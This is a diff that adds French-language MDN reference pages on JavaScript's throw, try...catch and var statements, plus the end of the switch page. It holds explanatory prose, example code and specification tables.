+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-switch-statement', 'instruction switch')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.switch")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/if...else","if...else")}}</li>
+ <li>{{jsxref("Instructions/break","break")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/throw/index.html b/files/fr/web/javascript/reference/instructions/throw/index.html
new file mode 100644
index 0000000000..1465d2f460
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/throw/index.html
@@ -0,0 +1,201 @@
+---
+title: throw
+slug: Web/JavaScript/Reference/Instructions/throw
+tags:
+  - Exception
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/throw
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <strong><code>throw</code></strong> permet de lever une exception définie par l'utilisateur. L'exécution de la fonction courante sera stoppée (les instructions situées après l'instruction <code>throw</code> ne seront pas exécutées) et le contrôle sera passé au premier bloc {{jsxref("Instructions/try...catch","catch")}} de la pile d'appels. Si aucun bloc <code>catch</code> ne se trouve dans les fonctions de la pile d'appels, le programme sera terminé.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-throw.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">throw <em>expression</em>; </pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>L'expression qui fournit l'exception à lever.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'instruction <code>throw</code> permet de lever (<em>throw</em> en anglais) une exception. Lorsqu'on lève une exception, <code>expression</code> fournit la valeur de l'exception. Chacune des instructions ci-après permet de lever une exception :</p>
+
+<pre class="brush: js">throw "monErreur"; // génère une exception étant une chaîne de caractères
+throw 42;          // génère une exception ayant la valeur 42
+throw true;        // génère une exception ayant la valeur true
+throw new Error("Obligatoire");  // génère un objet Error avec le message "Obligatoire"</pre>
+
+<p>On notera également que l'instruction <code>throw</code> est affectée par {{jsxref("Grammaire_lexicale","l'insertion automatique de point-virgule","#Insertion_automatique_de_points-virgules",1)}} car il n'est pas permis d'avoir un caractère de fin de ligne entre le mot-clé <code>throw</code> et l'expression.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Lever_une_exception_qui_est_un_objet">Lever une exception qui est un objet</h3>
+
+<p>Il est possible de lever une exception qui est un objet et de faire référence aux propriétés de cet objet au sein du bloc <code>catch</code>. Dans l'exemple suivant, on crée un objet <code>monException</code> du type <code>ExceptionUtilisateur</code> puis on utilise cet objet avec une instruction <code>throw</code>.</p>
+
+<pre class="brush: js">function ExceptionUtilisateur(message) {
+   this.message = message;
+   this.name = "ExceptionUtilisateur";
+}
+function getNomMois(mo) {
+   mo = mo-1; // Adjust month number for array index (1=Jan, 12=Dec)
+   var mois = ["Jan", "Fév", "Mar", "Avr", "Mai", "Juin", "Juil",
+      "Août", "Sept", "Oct", "Nov", "Déc"];
+   if (mois[mo] !== undefined) {
+      return mois[mo];
+   } else {
+      throw new ExceptionUtilisateur("Numéro de mois invalide");
+   }
+}
+
+try {
+   // les instructions à tenter
+   var monMois = 15; // 15 est en dehors des limites prévues
+   var nomMois = getNomMois(monMois);
+} catch (e) {
+   nomMois = "unknown";
+   console.error(e.message, e.name); // on passe les caractéristiques de l'exception
+                                     // à un gestionnaire d'erreur
+}
+</pre>
+
+<h3 id="Deuxième_exemple_avec_un_objet">Deuxième exemple avec un objet</h3>
+
+<p>Ici, on cherche à valider une chaîne de caractères représentant un code postal américain. Si le format utilisé est invalide, cela provoquera une exception avec un objet du type <code>ZipFormatIncorrectException</code>. (Le mot-clé {{jsxref("Instructions/const","const")}} introduit avec ECMAScript 6 est utilisé dans cet exemple).</p>
+
+<pre class="brush: js">/*
+ * Crée un objet ZipCode.
+ *
+ * Les formats acceptés sont :
+ *    12345
+ *    12345-6789
+ *    123456789
+ *    12345 6789
+ *
+ * Si l'argument passé au constructeur ZipCode n'est pas conforme
+ * à un de ces formats, une exception sera levée.
+ */
+
+function ZipCode(zip) {
+   zip = new String(zip);
+   pattern = /[0-9]{5}([- ]?[0-9]{4})?/;
+   if (pattern.test(zip)) {
+      // la valeur du code sera la première correspondance
+      // dans la chaîne
+      this.value = zip.match(pattern)[0];
+      this.valueOf = function() {
+         return this.value
+      };
+      this.toString = function() {
+         return String(this.value)
+      };
+   } else {
+      throw new ZipFormatIncorrectException(zip);
+   }
+}
+
+function ZipFormatIncorrectException(value) {
+   this.value = value;
+   this.message = "le format n'est pas conforme";
+   this.toString = function() {
+      return this.value + this.message;
+   };
+}
+
+/*
+ * Cette fonction pourrait être utilisée dans un script
+ * pour valider des adresses
+ */
+
+const ZIPCODE_INVALID = -1;
+const ZIPCODE_UNKNOWN_ERROR = -2;
+
+function vérifierZipCode(z) {
+   try {
+      z = new ZipCode(z);
+   } catch (e) {
+      if (e instanceof ZipFormatIncorrectException) {
+         return ZIPCODE_INVALID;
+      } else {
+         return ZIPCODE_UNKNOWN_ERROR;
+      }
+   }
+   return z;
+}
+
+a = vérifierZipCode(95060);         // renvoie 95060
+b = vérifierZipCode(9560);          // renvoie -1
+c = vérifierZipCode("a");           // renvoie -1
+d = vérifierZipCode("95060");       // renvoie 95060
+e = vérifierZipCode("95060 1234");  // renvoie 95060 1234
+</pre>
+
+<h3 id="Propager_une_exception">Propager une exception</h3>
+
+<p>L'instruction <code>throw</code> peut être utilisée pour transmettre une exception qui aurait été interceptée avec {{jsxref("Instructions/try...catch","catch")}}. Dans l'exemple suivant, on intercepte une exception avec une valeur numérique et on propage l'exception si la valeur est supérieure à 50. L'exception qui est levée se propage dans la fonction appelante ou au niveau le plus haut, visible par l'utilisateur.</p>
+
+<pre class="brush: js">try {
+   throw n; // lève une exception avec une valeur numérique
+} catch (e) {
+   if (e &lt;= 50) {
+      // des instructions pour gérer les cas entre 1 et 50
+   } else {
+      // ce cas ne peut pas être géré maintenant, on transmet l'exception
+      throw e;
+   }
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.4</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.13', 'throw statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-throw-statement', 'throw statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-throw-statement', 'throw statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.throw")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/try...catch","try...catch")}}</li>
+ <li>{{jsxref("Error")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/try...catch/index.html b/files/fr/web/javascript/reference/instructions/try...catch/index.html
new file mode 100644
index 0000000000..ae1d13b6d5
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/try...catch/index.html
@@ -0,0 +1,306 @@
+---
+title: try...catch
+slug: Web/JavaScript/Reference/Instructions/try...catch
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/try...catch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <strong><code>try...catch</code></strong> regroupe des instructions à exécuter et définit une réponse si l'une de ces instructions provoque une exception.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-trycatch.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">try {
+   <em>instructions_try</em>
+}
+[catch (<em>exception_var_1</em> if <em>condition_1</em>) { // non-standard
+   <em>instructions_catch_1</em>
+}]
+...
+[catch (<em>exception_var_2</em>) {
+   <em>instructions_catch_2</em>
+}]
+[finally {
+   <em>instructions_finally</em>
+}]
+</pre>
+
+<dl>
+ <dt><code>instructions_try</code></dt>
+ <dd>Les instructions qu'on souhaite exécuter.</dd>
+</dl>
+
+<dl>
+ <dt><code>instructions_catch_1</code>, <code>instructions_catch_2</code></dt>
+ <dd>Les instructions à exécuter si une exception est levée dans le bloc <code>try</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>exception_var_1</code>, <code>exception_var_2</code></dt>
+ <dd>Un identifiant qui permet de récupérer la valeur de l'exception associée à la clause <code>catch</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>condition_1</code></dt>
+ <dd>Une expression conditionnelle.</dd>
+</dl>
+
+<dl>
+ <dt><code>instructions_finally</code></dt>
+ <dd>Les instructions à exécuter une fois que l'instruction <code>try</code> est terminée. Ces instructions s'exécuteront, qu'il y ait eu une exception ou non.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'instruction <code>try</code> est composée d'un bloc <code>try</code> contenant une ou plusieurs instructions, d'au moins une clause <code>catch</code> ou d'une clause <code>finally</code> ou des deux. On peut donc avoir les trois formes suivantes pour cette instruction :</p>
+
+<ol>
+ <li><code>try...catch</code></li>
+ <li><code>try...finally</code></li>
+ <li><code>try...catch...finally</code></li>
+</ol>
+
+<p>Une clause <code>catch</code> contient les instructions à exécuter si une exception est levée par une instruction du bloc <code>try</code>. On souhaite généralement que le bloc <code>try</code> se déroule sans problème. Si toutefois une erreur se produit, on veut pouvoir contrôler ce qui se passe et on transmet donc le contrôle au bloc <code>catch</code>. Si une instruction contenue dans le bloc <code>try</code> (ou une fonction appelée depuis le bloc <code>try</code>) renvoie une exception, le contrôle sera immédiatement passé à la clause <code>catch</code>. Si aucune exception n'est levée, la clause <code>catch</code> ne sera pas utilisée.</p>
+
+<p>La clause <code>finally</code> s'exécute après le bloc <code>try</code> et après le bloc <code>catch</code> (si celui-ci a été déclenché) mais avant les instructions qui suivent. Les instructions de cette clause sont toujours exécutées, qu'il y ait eu ou non une exception de déclenchée et/ou d'interceptée.</p>
+
+<p>Il est possible d'imbriquer plusieurs instructions <code>try</code>. Si un <code>try</code> imbriqué ne possède pas de clause <code>catch</code>, la clause <code>catch</code> du <code>try</code> du niveau supérieur sera utilisée (et ainsi de suite).</p>
+
+<p>Pour plus d'informations sur les exceptions et les erreurs en JavaScript, voir le chapitre du <a href="/fr/docs/Web/JavaScript/Guide/Instructions#Les_instructions_utilis.C3.A9es_pour_les_exceptions">Guide JavaScript</a> correspondant.</p>
+
+<h3 id="Clause_catch_inconditionnelle">Clause <code>catch</code> inconditionnelle</h3>
+
+<p>Lorsqu'une seule clause <code>catch</code> inconditionnelle est utilisée, le bloc <code>catch</code> est utilisée pour n'importe quelle exception qui est levée. Ainsi, dans le fragment de code qui suit, pour toute exception produite, le contrôle de l'exécution passera à la clause <code>catch</code>.</p>
+
+<pre class="brush: js">try {
+   throw "monException"; // génère une exception
+}
+catch (e) {
+   // les instructions utilisées pour gérer les
+   // exceptions
+   logErreurs(e); // on transfère l'objet de l'exception à une méthode
+                  // gestionnaire
+}
+</pre>
+
+<p>La clause <code>catch</code> définit un identifiant (dans l'exemple précédent, c'est <code>e</code>) qui contient la valeur définie par l'instruction <code>throw</code>. Ce bloc <code>catch</code> est en quelque sorte unique en JavaScript car l'identifiant est créé lors de l'entrée dans le bloc <code>catch</code>, la valeur est alors ajoutée à la portée courant et la durée de vie de l'identifiant est limitée au bloc <code>catch</code>. Une fois que le bloc <code>catch</code> a été exécuté, l'identifiant n'est plus disponible.</p>
+
+<h3 id="Clauses_catch_conditionnelles">Clauses <code>catch</code> conditionnelles</h3>
+
+<p>{{non-standard_header}}</p>
+
+<p>Il est aussi possible d'utiliser une ou plusieurs clauses <code>catch</code> conditionnelles afin de gérer des exceptions spécifiques. Dans ce cas, selon l'exception produite, la clause <code>catch</code> appropriée sera utilisée. Dans l'exemple qui suit, le code contenu dans le bloc <code>try</code> peut produire trois exceptions : {{jsxref("TypeError")}}, {{jsxref("RangeError")}}, et {{jsxref("EvalError")}}. Lorsqu'une exception se produit, le contrôle de l'exécution est passé à la clause <code>catch</code> correspondante. SI l'exception qui est déclenchée ne correspond à aucune des conditions, le contrôle passera à la clause <code>catch</code> non-conditionnelle si elle est trouvée..</p>
+
+<p>Si on utilise une clause <code>catch</code> inconditionnelle avec une ou plusieurs clauses <code>catch</code> conditionnelles, la clause inconditionnelle doit être spécifiée en dernière. Si ce n'est pas le cas, la clause <code>catch</code> inconditionnelle interceptera tous les types d'exceptions avant les autres clauses.</p>
+
+<pre class="brush: js">try {
+    maRoutine(); // peut déclencher trois types d'exceptions
+} catch (e if e instanceof TypeError) {
+    // les instructions pour gérer TypeError
+} catch (e if e instanceof RangeError) {
+    // les instructions pour gérer RangeError
+} catch (e if e instanceof EvalError) {
+    // les instructions pour gérer EvalError
+} catch (e) {
+    // les instructions pour gérer les autres exceptions
+}
+</pre>
+
+<p>Dans le fragment de code qui suit, on aura le même fonctionnement mais en utilisant uniquement des fonctionnalités standard (selon ECMAScript). Ce code est plus long mais fonctionne pour tous les environnements conformes à ECMAScript :</p>
+
+<pre class="brush: js">try {
+    maRoutine(); // may throw three types of exceptions
+} catch (e) {
+    if (e instanceof TypeError) {
+        // les instructions pour gérer TypeError
+    } else if (e instanceof RangeError) {
+        // les instructions pour gérer RangeError
+    } else if (e instanceof EvalError) {
+        // les instructions pour gérer EvalError
+    } else {
+       // les instructions pour gérer les autres exceptions
+    }
+}
+</pre>
+
+<h3 id="L'identifiant_de_l'exception">L'identifiant de l'exception</h3>
+
+<p>Lorsqu'une exception est levée dans le bloc <code>try</code>, <em><code>exception_var</code></em> (par exemple le <code>e</code> dans « <code>catch (e)</code> ») contient la valeur définie par l'instruction {{jsxref("Instructions/throw","throw")}}. Cet identifiant peut être utilisé pour accéder aux propriétés de l'objet et ainsi obtenir des informations sur l'exception qui a eu lieu. Cet identifiant est local à la clause <code>catch</code>, il est créé lorsqu'on rentre dans la clause <code>catch</code> et n'est plus disponible une fois que la clause a fini son exécution.</p>
+
+<pre class="brush: js">function isValidJSON(txt){
+  try {
+    JSON.parse(txt);
+    return true;
+  } catch {
+    return false;
+  }
+}</pre>
+
+<h3 id="La_clause_finally">La clause <code>finally</code></h3>
+
+<p>La clause <code>finally</code> contient les instructions à exécuter après que les instructions du bloc <code>try</code> et éventuellement celles de la clause <code>catch</code> aient été exécutées mais avant que les instructions suivant l'instruction <code>try</code> soient exécutées. La clause <code>finally</code> est exécutée dans tous les cas (si on a eu une exception ou non). Si une exception est levée et qu'il n'y a pas de clause <code>catch</code>, les instructions de la clause <code>finally</code> sont tout de même exécutées.</p>
+
+<p>Cela peut paraître étrange qu'un bloc de code qui s'exécute même lorsqu'il y a une exception… Il faut comprendre que le code qui suit le bloc try...catch ne sera <strong>pas</strong> exécuté. Aussi, le bloc <code>finally</code> permet de contenir toutes les instructions de clôture/nettoyage nécessaire. On évite donc de dupliquer ce code qui doit toujours être utilisé.</p>
+
+<p>La clause <code>finally</code> peut être utilisée afin d'exécuter les actions nécessaires pour que le script « échoue correctement » en cas d'erreur. On peut par exemple tirer parti de <code>finally</code> pour fermer un flux, libérer une ressource, etc. Dans l'exemple suivant, exécuté côté serveur, le script accède à un fichier. Si une exception se produit lorsque le fichier est ouvert, la clause <code>finally</code> permet de fermer le fichier avant que le script échoue. Le code contenu dans le bloc <code>finally</code> sera exécuté même si on a une instruction <code>return</code> dans la section <code>try</code> ou dans la section <code>catch</code>.</p>
+
+<pre class="brush: js">ouvrirMonFichier()
+try {
+   // on utilise une ressource
+   écrireDansMonFichier(mesDonnées);
+}
+finally {
+   fermerMonFichier(); // on ferme toujours la ressource
+}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Blocs_try_imbriqués">Blocs <code>try</code> imbriqués</h3>
+
+<p>Tout d'abord, on utilise ce fragment de code, qui produit le résultat suivant :</p>
+
+<pre class="brush: js">try {
+  try {
+    throw new Error("oups");
+  }
+  finally {
+    console.log("finally");
+  }
+}
+catch (ex) {
+  console.error("externe", ex.message);
+}
+
+// Produira dans la console :
+// "finally"
+// "externe" "oups"
+</pre>
+
+<p>Et maintenant, si on a déjà intercepté l'exception avec une clause <code>catch</code> dans le bloc imbriqué :</p>
+
+<pre class="brush: js">try {
+  try {
+    throw new Error("oups");
+  }
+  catch (ex) {
+    console.error("interne", ex.message);
+  }
+  finally {
+    console.log("finally");
+  }
+}
+catch (ex) {
+  console.error("externe", ex.message);
+}
+
+// Produira dans la console:
+// "interne" "oups"
+// "finally"
+</pre>
+
+<p>Ensuite, si on propage l'erreur à nouveau :</p>
+
+<pre class="brush: js">try {
+  try {
+    throw new Error("oups");
+  }
+  catch (ex) {
+    console.error("interne", ex.message);
+    throw ex;
+  }
+  finally {
+    console.log("finally");
+  }
+}
+catch (ex) {
+  console.error("externe", ex.message);
+}
+
+// Produira dans la console :
+// "interne" "oups"
+// "finally"
+// "externe" "oups"
+</pre>
+
+<p>Toute exception ne sera interceptée qu'une seule fois par le bloc <code>catch</code> le plus « proche » à moins qu'elle ne soit retransmise à nouveau. Bien entendu, toute exception qui aura été levée par le bloc interne (il se peut que les instructions d'une clause catch provoquent une erreur) sera interceptée par le bloc externe.</p>
+
+<h3 id="Valeur_de_retour_et_bloc_finally">Valeur de retour et bloc <code>finally</code></h3>
+
+<p>Lorsque le bloc <code>finally</code> renvoie une valeur, c'est cette valeur qui devient la valeur de retour pour l'ensemble du bloc <code>try-catch-finally</code> et ce, peu importe, s'il y a des instructions {{jsxref("Instructions/return","return")}} dans les blocs <code>try</code> et <code>catch</code>. Cela inclue également les exceptions levées dans le bloc <code>catch</code> :</p>
+
+<pre class="brush: js">try {
+  try {
+    throw new Error("oups");
+  }
+  catch (ex) {
+    console.error("interne", ex.message);
+    throw ex;
+  }
+  finally {
+    console.log("finally");
+    return;
+  }
+}
+catch (ex) {
+  console.error("externe", ex.message);
+}
+
+// Produira dans la console :
+// "interne" "oups"
+// "finally"
+</pre>
+
+<p>Le "oups" externe n'est pas renvoyé car l'instruction <code>return</code> est utilisée dans la clause <code>finally</code> du bloc interne. Cela aurait également été le cas avec n'importe quelle valeur renvoyée par le bloc <code>catch</code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.4</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.14', 'instruction try')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-try-statement', 'Instruction try')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-try-statement', 'try statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Points ne faisant pas partie du standard ECMA-262 actuel : utilisation de plusieurs clauses catch et de plusieurs clauses conditionnelles (extension liée à SpiderMonkey, correspondant à JavaScript 1.5).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.try_catch")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("Instructions/throw", "throw")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/var/index.html b/files/fr/web/javascript/reference/instructions/var/index.html
new file mode 100644
index 0000000000..31814763b0
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/var/index.html
@@ -0,0 +1,223 @@
+---
+title: var
+slug: Web/JavaScript/Reference/Instructions/var
+tags:
+  - Instruction
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/var
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <strong><code>var</code></strong> (pour variable) permet de déclarer une variable et éventuellement d'initialiser sa valeur.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-var.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>nomVar1 [</em>= <em>valeur1] [</em>, <em>nomVar2 [</em>= <em>valeur2] </em><em>... [</em>, <em>nomVarN [</em>= <em>valeurN]]]</em>;</pre>
+
+<dl>
+ <dt><code>nomvarN</code></dt>
+ <dd>Le nom de la variable, cela peut être n'importe quel identifiant valide.</dd>
+</dl>
+
+<dl>
+ <dt><code>valeurN</code></dt>
+ <dd>La valeur initiale à affecter à la variable, cela peut être n'importe quelle expression valide. S'il n'y a aucune valeur fournie, la variable vaudra {{jsxref("undefined")}}.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Les déclarations de variables sont traitées avant que le code soit exécuté, quel que soit leur emplacement dans le code. La portée d'une variable déclarée avec <code>var</code> est le <em>contexte d'exécution</em> courant, c'est-à-dire : <strong>la fonction</strong> qui contient la déclaration <strong>ou le contexte global</strong> si la variable est déclarée en dehors de toute fonction.</p>
+
+<p>Si on affecte une valeur à une variable qui n'a pas été déclarée (le mot-clé <code>var</code> n'a pas été utilisé), cela devient une variable globale (une propriété de l'objet global) lorsque l'affectation est exécutée. Les différences entre les variables déclarées et les variables non-déclarées sont :</p>
+
+<ol>
+ <li>Les variables déclarées sont contraintes dans le contexte d'exécution dans lequel elles sont déclarées. Les variables non-déclarées sont toujours globales.
+  <pre class="brush: js">function x() {
+  y = 1;   // Lève une exception ReferenceError en mode strict
+  var z = 2;
+}
+
+x();
+
+console.log(y); // Affiche "1" dans la console
+console.log(z); // Lève une exception ReferenceError:
+                // z n'est pas définie en dehors de x
+</pre>
+ </li>
+ <li>Les variables déclarées sont créées avant que n'importe quel autre code soit exécuté. Les variables non-déclarées n'existent pas tant que leur code n'est pas exécuté.
+  <pre class="brush: js">console.log(a);                // Lève une exception ReferenceError.
+console.log('on continue...'); // N'est jamais exécuté</pre>
+
+  <pre class="brush: js">var a;
+console.log(a);                // Affiche "undefined".
+console.log('on continue...'); // Affiche "on continue...".</pre>
+ </li>
+ <li>Les variables déclarées sont des propriétés non-configurables de leur contexte d'exécution (la fonction courante ou le contexte global). Les variables non-déclarées sont configurables (ce qui signifie qu'elles peuvent être supprimées).
+  <pre class="brush: js">var a = 1;
+b = 2;
+
+delete this.a; // Lève une TypeError en mode strict. Échoue silencieusement sinon.
+delete this.b;
+
+console.log(a, b); // Lève une exception ReferenceError.
+// La propriété 'b' a été supprimée et n'existe plus.</pre>
+ </li>
+</ol>
+
+<p>En raison de ces trois différences, il faut éviter de ne pas déclarer une variable car cela peut provoquer des résultats inattendus. <strong>Il est donc fortement recommandé de toujours déclarer les variables, qu'elles soient dans une fonction ou dans la portée globale.</strong> Le <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>, introduit avec ECMAScript 5, lève une exception lorsqu'une variable n'est pas déclarée.</p>
+
+<h3 id="La_remontée_de_variables_(hoisting)">La remontée de variables (<em>hoisting</em>)</h3>
+
+<p>Les déclarations de variables (et les déclarations en général) sont traitées avant que n'importe quel autre code soit exécuté. Ainsi, déclarer une variable n'importe où dans le code équivaut à la déclarer au début de son contexte d'exécution. Cela signifie qu'une variable peut également apparaître dans le code avant d'avoir été déclarée. Ce comportement est appelé « remontée » (<em>hoisting</em> en anglais) car la déclaration de la variable est « remontée » au début de la fonction courante ou du contexte global.</p>
+
+<pre class="brush: js">bla = 2
+var bla;
+// ...
+
+// est implicitement traité comme :
+
+var bla;
+bla = 2;
+</pre>
+
+<p>Étant donné ce comportement, il est recommandé de toujours déclarer les variables au début de leurs portées (le début du code global ou le début du corps de la fonction) afin de mieux (sa)voir quelles variables font partie de la fonction et lesquelles proviennent de la chaîne de portées.</p>
+
+<p>Il est important de noter que la remontée des variables affecte uniquement la déclaration et pas l'initialisation de la valeur. La valeur sera affectée lorsque le moteur accèdera à l'instruction d'affectation. Par exemple :</p>
+
+<pre class="brush: js">function faireQuelqueChose() {
+  console.log(truc); // undefined
+  var truc = 111;
+  console.log(truc); // 111
+}
+
+// Correspond en fait à :
+function faireQuelqueChose() {
+  var truc;
+  console.log(truc); // undefined
+  truc = 111;
+  console.log(truc); // 111
+}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Déclarer_et_initialiser_deux_variables">Déclarer et initialiser deux variables</h3>
+
+<pre class="brush: js">var a = 0, b = 0;
+</pre>
+
+<h3 id="Affecter_deux_variables_avec_la_même_chaîne_de_caractères">Affecter deux variables avec la même chaîne de caractères</h3>
+
+<pre class="brush: js">var a = "A";
+var b = a;
+
+// est équivalent à :
+
+var a, b = a = "A";
+</pre>
+
+<p>Attention à l'ordre :</p>
+
+<pre class="brush: js">var x = y, y = 'A';
+console.log(x + y); // undefinedA
+</pre>
+
+<p>Ici, <code>x</code> et <code>y</code> sont déclarées avant que n'importe quel code soit exécuté, <strong>les affectations sont réalisées après !</strong> Au moment où <code>x = y</code> est évalué, <code>y</code> existe donc on n'a pas d'erreur {{jsxref("ReferenceError")}} mais sa valeur est {{jsxref("undefined")}}. Ainsi, <code>x</code> reçoit la valeur <code>undefined</code>. Ensuite, <code>y</code> reçoit la valeur <code>'A'</code>. Après la première ligne de code, on a donc la situation où <code>x === undefined &amp;&amp; y === 'A'</code>, ce qui explique le résultat.</p>
+
+<h3 id="Initialiser_plusieurs_variables">Initialiser plusieurs variables</h3>
+
+<pre class="brush: js">var x = 0; // Variable dans la portée globale (le fichier)
+
+function f(){
+  var x = y = 1; // x est déclaré localement
+                 // ce qui n'est pas le cas de y !
+}
+f();
+
+console.log(x, y); // 0, 1
+// x a bien la valeur globale attendue
+// y a été contaminé dans la fonction !
+// Une exception ReferenceError sera levée en mode
+// strict car y n'est pas défini dans cette portée
+</pre>
+
+<h3 id="Les_variables_globales_implicites">Les variables globales implicites</h3>
+
+<p>Il est possible de faire référence à des variables qui sont des variables globales implicites depuis la portée d'une fonction externe :</p>
+
+<pre class="brush: js">var x = 0;  // Déclare x comme variable globale du fichier, on lui affecte 0
+
+console.log(typeof z); // "undefined", car z n'existe pas encore
+
+function a() {
+  var y = 2;   // Déclare y dans la portée de la fonction a
+               // Affecte 2 comme valeur à y
+
+  console.log(x, y);   // 0 2
+
+  function b() {
+    x = 3;  // Affecte 3 à la variable globale x
+            // Ne crée pas une nouvelle variable globale
+    y = 4;  // Affecte 4 à la variable externe y,
+            // Ne crée pas une nouvelle variable globale
+    z = 5;  // Crée une nouvelle variable globale
+            // et lui affecte la valeur 5.
+  }         // (lève une ReferenceError en mode strict.)
+
+  b();     // Crée z en tant que variable globale
+  console.log(x, y, z);  // 3 4 5
+}
+
+a();                   // l'appel à a() entraîne un appel à b()
+console.log(x, z);     // 3 5
+console.log(typeof y); // "undefined" car y est local à la fonction a</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
